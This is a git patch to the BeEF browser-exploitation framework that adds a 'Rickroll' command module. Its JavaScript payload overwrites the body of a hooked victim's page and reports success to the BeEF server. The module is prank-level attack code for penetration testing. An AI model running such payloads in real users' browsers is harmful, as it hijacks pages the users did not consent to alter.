From de1e89a840dd22145731b1665fd733f214f4361a Mon Sep 17 00:00:00 2001 From: "yori.kvitchko" Date: Wed, 5 Jan 2011 00:28:13 +0000 Subject: [PATCH] initial commit of rickroll module git-svn-id: https://beef.googlecode.com/svn/trunk@667 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/commands/misc/rickroll/rickroll.js | 5 +++ modules/commands/misc/rickroll/rickroll.rb | 43 ++++++++++++++++++++++ 2 files changed, 48 insertions(+) create mode 100644 modules/commands/misc/rickroll/rickroll.js create mode 100644 modules/commands/misc/rickroll/rickroll.rb diff --git a/modules/commands/misc/rickroll/rickroll.js b/modules/commands/misc/rickroll/rickroll.js new file mode 100644 index 000000000..9489fffa7 --- /dev/null +++ b/modules/commands/misc/rickroll/rickroll.js @@ -0,0 +1,5 @@ +beef.execute(function() { + document.body.innerHTML = ''; + + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull"); +}); \ No newline at end of file diff --git a/modules/commands/misc/rickroll/rickroll.rb b/modules/commands/misc/rickroll/rickroll.rb new file mode 100644 index 000000000..e4220498a --- /dev/null +++ b/modules/commands/misc/rickroll/rickroll.rb @@ -0,0 +1,43 @@ +module BeEF +module Modules +module Commands + + +class Rickroll < BeEF::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Rickroll', + 'Description' => 'Overwrite the body of the page the victim is on with a full screen Rickroll.', + 'Category' => 'Misc', + 'Author' => 'Yori Kvitchko', + 'Data' => + [ + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end + +end +end +end \ No newline at end of file